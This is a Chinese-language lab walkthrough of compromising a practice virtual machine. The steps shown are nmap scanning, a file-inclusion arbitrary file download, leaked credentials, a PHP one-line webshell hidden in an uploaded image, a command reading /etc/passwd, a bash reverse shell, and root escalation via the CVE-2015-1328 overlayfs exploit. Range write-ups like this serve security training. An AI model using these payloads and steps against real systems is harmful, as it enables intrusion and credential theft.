裏面有不少安全環境,只要下載相關鏡像,在虛擬機上面搭建運行就能夠練習對應靶場了。html
第一步、信息收集mysql
nmap掃描內網開放80端口的存活主機 nmap - p 80 192.168.31.0/24linux
目標IP192.168.31.16web
nmap -p 1-65535 192.168.31.16sql
目標主機端口探測(開放22端口【考慮能夠嘗試爆破root】、80端口開放)、且目標主機爲linux系統、使用apache2.2中間件shell
第二步、web服務滲透與提權數據庫
提示sql注入,在手工嘗試與sqlmap跑post包以後放棄了apache
御劍爆破一下後臺目錄ubuntu
訪問192.168.31.16/test.php
提示file參數爲空
咱們測試一下文件包含
嘗試POST提交file=test.php此處爲任意文件下載,將目錄遍歷出的文件所有下載開始代碼審計
這裏咱們看到了文件包含漏洞形成得任意文件下載漏洞得 成因
咱們繼續下載御劍爆破出來的目錄文件與審計代碼中發現的文件
在c.php文件中發現了數據庫和密碼
咱們加下來訪問192.168.31.16/phpmyadmin失敗 ,應該是目錄更名了,改一下御劍的字典繼續爆破,成功獲得phpmyadmin地址phpmy
併成功得到了用戶名和密碼
咱們先不登錄繼續看下phpmy目錄下有沒有能夠利用的文件
直接得到了mysql的用戶名和密碼咱們連接下22端口
成功得到了root權限
那咱們再回到剛纔得到的web用戶的帳號和密碼 看下是否是能夠得到webshell
成功登錄後showuser的地方有兩個頭像火狐瀏覽器右鍵查看圖像 看到圖像地址
咱們把頭像下載下來
在文件尾部插入一句話
cmd命令馬<?php system($_GET['cmd']); ?> 將文件上傳成功。
接下來用burp抓一個post包
post請求url中加入執行命令的參數:POST /panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含laodi.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue
命令被成功執行了
咱們接下來利用該功能用bash反彈一個shell
bash反彈shell先進行url編碼
在另外一臺主機上監聽本地8888端口
反彈了一個www權限的shell
接下來確定是提權了
寫入一句話 目錄不可寫
那咱們進入uploaded_images 目錄試一下成功了
菜刀鏈接方便傳文件(wget遠程下載的話也能夠)
看一下內核版本
接下來利用相關版本提權腳本Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
Exp地址:https://www.exploit-db.com/exploits/37292
給咱們上傳的腳本一個777權限
Chmod 777 ./* (或者chmod 777 yun.c)
gcc yun.c -o yun(編譯腳本並重命名爲yun)
./yun(運行編譯後的腳本)
看下是root權限提權成功了
最後咱們在回到這個sql注入上
str_replace的做用是將字符串\' 替換爲空,所以構造SQL注入登陸payload時,必須含有\'字符串,不然會報錯。urldecode的做用是將輸入解碼。
測試payload爲%27+or+1%3d1+--%5c%27沒成功
' or 1=1 --\'依舊沒有成功 因而我放棄了sql注入